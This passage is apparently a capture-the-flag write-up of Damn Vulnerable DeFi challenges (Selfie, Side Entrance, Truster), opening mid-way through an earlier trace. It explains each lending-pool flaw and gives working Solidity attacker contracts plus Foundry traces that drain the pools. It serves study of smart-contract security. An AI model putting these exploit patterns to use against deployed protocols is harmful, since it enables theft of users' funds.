    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
    │   │   │   ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
    │   │   │   │   ├─ [570] NaiveReceiverPool::weth() [staticcall]
    │   │   │   │   │   └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   │   │   │   ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   │   ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   │   ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] true
    │   │   ├─ [28685] NaiveReceiverPool::withdraw(1010000000000000000000 [1.01e21], recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [delegatecall]
    │   │   │   ├─ [25507] WETH::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 1010000000000000000000 [1.01e21])
    │   │   │   │   ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1010000000000000000000 [1.01e21])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Return] [0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x]
    │   └─ ← [Return] true
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    ├─ [0] VM::getNonce(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertLe(0, 2) [staticcall]
    │   └─ ← [Return]
    ├─ [825] WETH::balanceOf(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0, "Unexpected balance in receiver contract") [staticcall]
    │   └─ ← [Return]
    ├─ [825] WETH::balanceOf(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0, "Unexpected balance in pool") [staticcall]
    │   └─ ← [Return]
    ├─ [825] WETH::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
    │   └─ ← [Return] 1010000000000000000000 [1.01e21]
    ├─ [0] VM::assertEq(1010000000000000000000 [1.01e21], 1010000000000000000000 [1.01e21], "Not enough WETH in recovery account") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 41.39ms (13.88ms CPU time)


Selfie Challenge

Challenge Overview:

A new lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million at risk.

Rescue all funds from the pool and deposit them into the designated recovery account.

Simple to understand: Exploit a governance system that relies on a snapshot-based token voting mechanism to drain all tokens from the SelfiePool contract.

Contracts in this Challenge:

  1. DamnValuableVotes (ERC20Votes): ERC20 token with snapshot-based voting power (uses OpenZeppelin’s ERC20Votes).

  2. SimpleGovernance: Contract allowing proposals to be queued and executed after a time delay, based on token voting power at the time of queueAction.

  3. SelfiePool: A pool that offers ERC3156 flash loans and has emergencyExit(address) function that can be executed by governance.

Vulnerability:

The governance system uses snapshot-based voting power, and the snapshot is taken when the queueAction() is called.

  1. A user can take a flash loan, temporarily gaining a large amount of governance tokens.

  2. During the loan, they delegate votes to themselves and queue a governance action.

  3. After the snapshot is taken and the loan is repaid, the user can still execute the queued action after the delay, even though they no longer have the tokens.

This allows a user to queue a malicious action with temporary voting power gained via flash loan.

VulnerableFunction:

function queueAction(address target, uint256 value, bytes calldata data) external returns (uint256 actionId)//when call this function u must have half of the tokens,once u get the power,can make the changes in the contract

  1. Requires the caller to have enough voting power (from snapshot) to queue.
      //once u have the enough tokens u can get the power,tokens comes from via flashloan
      // u can delegate the token to the pool and get the voting power
        token.delegate(address(this));//this delegate function used to access the power once u have enough tokens
        //after delegate we can call the queueAction function 
  1. Doesn’t check token balance now, only the balance at snapshot.

Exploit Strategy:

  1. Deploy a malicious contract (SelfieAttack).
  2. Take a flash loan of all tokens from the pool.
  3. Delegate the borrowed tokens’ votes to the attack contract.
  4. Queue a governance action:
    pool.emergencyExit(attackerAddress)
    
  5. Repay the flash loan.
  6. Wait for the governance delay (2 days).
  7. Execute the queued malicious proposal.

Proof Of Code:

**observe this challenge ,exploit using single transation **

//this is the function where i can solve the challenge Damn-Defi-v4-selfie
function test_selfie() public checkSolvedByPlayer {
        SelfieAttack attack = new SelfieAttack(
            recovery,
            address(pool),
            address(governance),
            address(token)
        );
        attack.attack();
        // The attack contract will take a flash loan, delegate the voting power to itself,
        // queue an action to emergency exit the pool, and execute it after the delay.
        // The action will transfer all tokens from the pool to the recovery address.
    }
//SelfieAttack contract which is used to exploit the code
contract SelfieAttack is IERC3156FlashBorrower, Test {
    address public player;
    SelfiePool public pool;
    SimpleGovernance public governance;
    DamnValuableVotes public token;
    uint public actionId;
    bytes32 private constant CALLBACK_SUCCESS =
        keccak256("ERC3156FlashBorrower.onFlashLoan");

    constructor(
        address _player,
        address _pool,
        address _governance,
        address _token
    ) {
        pool = SelfiePool(_pool);
        player = _player;
        governance = SimpleGovernance(_governance);
        token = DamnValuableVotes(_token);
    }

    function attack() external {
        SelfiePool(pool).flashLoan(
            IERC3156FlashBorrower(address(this)),
            address(token),
            SelfiePool(pool).maxFlashLoan(address(token)),
            ""
        );
        // Execute the action after the delay
        vm.warp(block.timestamp + governance.getActionDelay());
        governance.executeAction(actionId);
    }

    function onFlashLoan(
        address _initiator, //who will call this function,
        address, // address of the token,
        uint256 _amount,
        uint256 _fee,
        bytes calldata //bytes for callback function
    ) external returns (bytes32) {
        require(msg.sender == address(pool), "Only pool can call");
        require(_initiator == address(this), " Initiator is not self");

        // u can delegate the token to the pool and get the voting power
        token.delegate(address(this));
        uint _actionId = governance.queueAction(
            address(pool),
            0,
            abi.encodeWithSignature("emergencyExit(address)", player)
        );

        actionId = _actionId;
        token.approve(address(pool), _amount + _fee); //approve the pool to withdraw the tokens
        return CALLBACK_SUCCESS;
    }
}

Proof Of Exploit:

# Drain all the funds from Dex contract and send to to the recovery through attacker
nithin@ScateR:~/SCATERLABs/CTFs/Dam-vulnerable-Defi$ forge test --match-test test_selfie -vvvv
[] Compiling...
[] Compiling 1 files with Solc 0.8.25
[] Solc 0.8.25 finished in 1.97s
Compiler run successful!

Ran 1 test for test/selfie/Selfie.t.sol:SelfieChallenge
[PASS] test_selfie() (gas: 2400285)
Traces:
  [2450485] SelfieChallenge::test_selfie()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return]
    ├─ [2027380] → new SelfieAttack@0xce110ab5927CC46905460D930CCa0c6fB4666219
    │   └─ ← [Return] 9566 bytes of code
    ├─ [367082] SelfieAttack::attack()
    │   ├─ [6747] SelfiePool::maxFlashLoan(DamnValuableVotes: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]) [staticcall]
    │   │   ├─ [2852] DamnValuableVotes::balanceOf(SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5]) [staticcall]
    │   │   │   └─ ← [Return] 1500000000000000000000000 [1.5e24]
    │   │   └─ ← [Return] 1500000000000000000000000 [1.5e24]
    │   ├─ [309199] SelfiePool::flashLoan(SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], DamnValuableVotes: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 1500000000000000000000000 [1.5e24], 0x)
    │   │   ├─ [33377] DamnValuableVotes::transfer(SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 1500000000000000000000000 [1.5e24])
    │   │   │   ├─ emit Transfer(from: SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 1500000000000000000000000 [1.5e24])
    │   │   │   └─ ← [Return] true
    │   │   ├─ [255171] SelfieAttack::onFlashLoan(SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], DamnValuableVotes: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 1500000000000000000000000 [1.5e24], 0, 0x)
    │   │   │   ├─ [71415] DamnValuableVotes::delegate(SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219])
    │   │   │   │   ├─ emit DelegateChanged(delegator: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], fromDelegate: 0x0000000000000000000000000000000000000000, toDelegate: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219])
    │   │   │   │   ├─ emit DelegateVotesChanged(delegate: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], previousVotes: 0, newVotes: 1500000000000000000000000 [1.5e24])
    │   │   │   │   └─ ← [Stop]
    │   │   │   ├─ [128147] SimpleGovernance::queueAction(SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 0, 0xa441d06700000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea)
    │   │   │   │   ├─ [1438] DamnValuableVotes::getVotes(SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219]) [staticcall]
    │   │   │   │   │   └─ ← [Return] 1500000000000000000000000 [1.5e24]
    │   │   │   │   ├─ [2500] DamnValuableVotes::totalSupply() [staticcall]
    │   │   │   │   │   └─ ← [Return] 2000000000000000000000000 [2e24]
    │   │   │   │   ├─ emit ActionQueued(actionId: 1, caller: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219])
    │   │   │   │   └─ ← [Return] 1
    │   │   │   ├─ [25321] DamnValuableVotes::approve(SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1500000000000000000000000 [1.5e24])
    │   │   │   │   ├─ emit Approval(owner: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], spender: SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1500000000000000000000000 [1.5e24])
    │   │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
    │   │   ├─ [10856] DamnValuableVotes::transferFrom(SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1500000000000000000000000 [1.5e24])
    │   │   │   ├─ emit Transfer(from: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], to: SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1500000000000000000000000 [1.5e24])
    │   │   │   ├─ emit DelegateVotesChanged(delegate: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], previousVotes: 1500000000000000000000000 [1.5e24], newVotes: 0)
    │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   └─ ← [Return] true
    │   ├─ [310] SimpleGovernance::getActionDelay() [staticcall]
    │   │   └─ ← [Return] 172800 [1.728e5]
    │   ├─ [0] VM::warp(172801 [1.728e5])
    │   │   └─ ← [Return]
    │   ├─ [42855] SimpleGovernance::executeAction(1)
    │   │   ├─ emit ActionExecuted(actionId: 1, caller: SelfieAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219])
    │   │   ├─ [35828] SelfiePool::emergencyExit(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa])
    │   │   │   ├─ [852] DamnValuableVotes::balanceOf(SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5]) [staticcall]
    │   │   │   │   └─ ← [Return] 1500000000000000000000000 [1.5e24]
    │   │   │   ├─ [31377] DamnValuableVotes::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 1500000000000000000000000 [1.5e24])
    │   │   │   │   ├─ emit Transfer(from: SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1500000000000000000000000 [1.5e24])
    │   │   │   │   └─ ← [Return] true
    │   │   │   ├─ emit EmergencyExit(receiver: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1500000000000000000000000 [1.5e24])
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Return] 0x
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    ├─ [852] DamnValuableVotes::balanceOf(SelfiePool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0, "Pool still has tokens") [staticcall]
    │   └─ ← [Return]
    ├─ [852] DamnValuableVotes::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
    │   └─ ← [Return] 1500000000000000000000000 [1.5e24]
    ├─ [0] VM::assertEq(1500000000000000000000000 [1.5e24], 1500000000000000000000000 [1.5e24], "Not enough tokens in recovery account") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.62ms (2.40ms CPU time)

SideEntrance challenge

Challenge Overview:

A deceptively simple lending pool allows anyone to:

  • Deposit ETH.
  • Withdraw ETH at any time.
  • Take out flash loans with zero fees using deposited ETH.

The pool already contains 1000 ETH, and your account starts with just 1 ETH. Your goal is to drain all ETH from the pool and deposit it into the provided recovery address.

Vulnerability Explanation:

The contract logic enables an attacker to:

  1. Borrow ETH through the flashLoan function.
  2. Within the execute() callback (called during the flash loan), re-deposit the same borrowed ETH using deposit().
  3. This satisfies the flash loan repayment check, even though the attacker still “owns” the deposited ETH via their internal balance.
  4. After the loan, the attacker calls withdraw() to withdraw the same ETH as if it were theirs.
  5. Funds are transferred to the attacker and then forwarded to the recovery account via the receive() function.

This exploit works because the pool does not differentiate between repaying a flash loan and depositing user funds.

Vulnerable Code:

function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();// first this function

        if (address(this).balance < balanceBefore) {
            revert RepayFailed();
        }
    }
    //second withdraw function:
    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount); //it looks like call function and  no calldata==>go to the recevier function 
    }

Exploiter Strategy:

1.Deploy an attacker contract with access to the pool and recovery address.

2.Call flashLoan() to borrow the full balance.

3.In execute(), re-deposit the borrowed ETH back into the pool.

4.The loan is considered repaid due to the balance check.

5.Call withdraw() to drain the ETH.

When ETH is sent via .call, receive() forwards all funds to the recovery account.

Exploit Code:

// call the attacker contract
function test_sideEntrance() public checkSolvedByPlayer {
        SideAttranceAttack attack = new SideAttranceAttack(
            address(pool),
            recovery
        );
        attack.Attack();
    }


//Attacker Contract
contract SideAttranceAttack {
    address public pool;
    address public recovery;

    constructor(address _pool, address _recovery) {
        pool = _pool;
        recovery = _recovery;
    }

    function Attack() external {
        SideEntranceLenderPool(pool).flashLoan(address(pool).balance);//borrower initating falshLoan
        SideEntranceLenderPool(pool).withdraw(); //after the flashLoan,withdraw all the ether in the pool -->recovery Account
    }

    
    function execute() external payable {
        SideEntranceLenderPool(pool).deposit{value: msg.value}();// deposit back to the pool through deposit function
    }

    receive() external payable {
        payable(recovery).transfer(msg.value);//transfer to the recovery Account
    }
}

Proof Of Exploit:

Ran 1 test for test/side-entrance/SideEntrance.t.sol:SideEntranceChallenge
[PASS] test_sideEntrance() (gas: 347842)
Traces:
  [367742] SideEntranceChallenge::test_sideEntrance()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return]
    ├─ [235535] → new SideAttranceAttack@0xce110ab5927CC46905460D930CCa0c6fB4666219
    │   └─ ← [Return] 952 bytes of code
    ├─ [86321] SideAttranceAttack::Attack()
    │   ├─ [38751] SideEntranceLenderPool::flashLoan(1000000000000000000000 [1e21])
    │   │   ├─ [31244] SideAttranceAttack::execute{value: 1000000000000000000000}()
    │   │   │   ├─ [23951] SideEntranceLenderPool::deposit{value: 1000000000000000000000}()
    │   │   │   │   ├─ emit Deposit(who: SideAttranceAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 1000000000000000000000 [1e21])
    │   │   │   │   └─ ← [Stop]
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   ├─ [43561] SideEntranceLenderPool::withdraw()
    │   │   ├─ emit Withdraw(who: SideAttranceAttack: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 1000000000000000000000 [1e21])
    │   │   ├─ [34590] SideAttranceAttack::receive{value: 1000000000000000000000}()
    │   │   │   ├─ [0] recovery::fallback{value: 1000000000000000000000}()
    │   │   │   │   └─ ← [Stop]
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    ├─ [0] VM::assertEq(0, 0, "Pool still has ETH") [staticcall]
    │   └─ ← [Return]
    ├─ [0] VM::assertEq(1000000000000000000000 [1e21], 1000000000000000000000 [1e21], "Not enough ETH in recovery account") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.78ms (757.72µs CPU time)

Ran 1 test suite in 1.61s (5.78ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Simple Understanding Case:
[PASS] test_sideEntrance() (gas: 347842)
Traces:
  SideAttranceAttack::Attack()
    ├─ flashLoan(1000 ETH)
    │   └─ execute{value: 1000 ETH} → deposit()
    └─ withdraw() → receive() → forward to recovery 

assertEq(Pool.balance, 0) 
assertEq(Recovery.balance, 1000 ETH) 

Truster Challenge

Challenge:

More and more lending pools are offering flashloans. In this case, a new pool has launched that is offering flashloans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, rescue all funds in the pool executing a single transaction. Deposit the funds into the designated recovery account.

Smart Contract :

TrusterLender Pool: Offering flash loans of DVT tokens for free

Vulnerability Explained:

In this Pool, the flash loan function is calling target.functionCall(data) in a low-level manner. The function call uses data that can be manipulated by an attacker to drain all the funds.

Vulnerable Code:

function flashLoan(
    uint256 amount,
    address borrower,
    address target,
    bytes calldata data
) external nonReentrant returns (bool) {
    uint256 balanceBefore = token.balanceOf(address(this));

    token.transfer(borrower, amount);
    target.functionCall(data); // Vulnerable is here, I smell it

    if (token.balanceOf(address(this)) < balanceBefore) {
        revert RepayFailed();
    }

    return true;
}

Exploit strategy:

The attack strategy involves calling the approve function to grant the attacker permission to withdraw all tokens from the pool. The data is crafted using abi.encodeWithSignature(“approve(address,uint256)”, address(this), TOKENS_IN_POOL), which approves the attacker to transfer all the tokens from the pool. After approval, the attacker uses transferFrom to move the tokens to the recovery account.

Exploit Code:

function test_truster() public checkSolvedByPlayer {
    new TrusterExploiter(pool, token, recovery, TOKENS_IN_POOL);
}

// Exploiter Contract:
contract TrusterExploiter {
    constructor(
        TrusterLenderPool pool,
        DamnValuableToken token,
        address recovery,
        uint256 TOKENS_IN_POOL
    ) {
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(this),
            TOKENS_IN_POOL
        );
        pool.flashLoan(0, address(this), address(token), data);
        token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
    }
}

Proof of Exploit:

Check that the test case can easily understand the exploit:

Ran 1 test for test/truster/Truster.t.sol:TrusterChallenge
[PASS] test_truster() (gas: 112277)
Traces:
  [139777] TrusterChallenge::test_truster()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return]
    ├─ [86541] → new TrusterExploiter@0xce110ab5927CC46905460D930CCa0c6fB4666219
    │   ├─ [46555] TrusterLenderPool::flashLoan(0, TrusterExploiter: [0xce110ab5927CC46905460D930CCa0c6fB4666219], DamnValuableToken: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0x095ea7b3000000000000000000000000ce110ab5927cc46905460d930cca0c6fb466621900000000000000000000000000000000000000000000d3c21bcecceda1000000)
    │   │   ├─ [2802] DamnValuableToken::balanceOf(TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000000 [1e24]
    │   │   ├─ [5651] DamnValuableToken::transfer(TrusterExploiter: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 0)
    │   │   │   ├─ emit Transfer(from: TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], to: TrusterExploiter: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 0)
    │   │   │   └─ ← [Return] true
    │   │   ├─ [25079] DamnValuableToken::approve(TrusterExploiter: [0xce110ab5927CC46905460D930CCa0c6fB4666219], 1000000000000000000000000 [1e24])
    │   │   │   ├─ emit Approval(owner: TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], spender: TrusterExploiter: [0xce110ab5927CC46905460D930CCa0c6fB4666219], amount: 1000000000000000000000000 [1e24])
    │   │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [802] DamnValuableToken::balanceOf(TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000000 [1e24]
    │   │   └─ ← [Return] true
    │   ├─ [29354] DamnValuableToken::transferFrom(TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 1000000000000000000000000 [1e24])
    │   │   ├─ emit Transfer(from: TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1000000000000000000000000 [1e24])
    │   │   └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
    │   └─ ← [Return] 21 bytes of code
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    ├─ [0] VM::getNonce(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
    │   └─ ← [Return] 1
    ├─ [0] VM::assertEq(1, 1, "Player executed more than one tx") [staticcall]
    │   └─ ← [Return]
    ├─ [802] DamnValuableToken::balanceOf(TrusterLenderPool: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]) [staticcall]
    │   └─ ← [Return] 0
    ├─ [0] VM::assertEq(0, 0, "Pool still has tokens") [staticcall]
    │   └─ ← [Return]
    ├─ [802] DamnValuableToken::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
    │   └─ ← [Return] 1000000000000000000000000 [1e24]
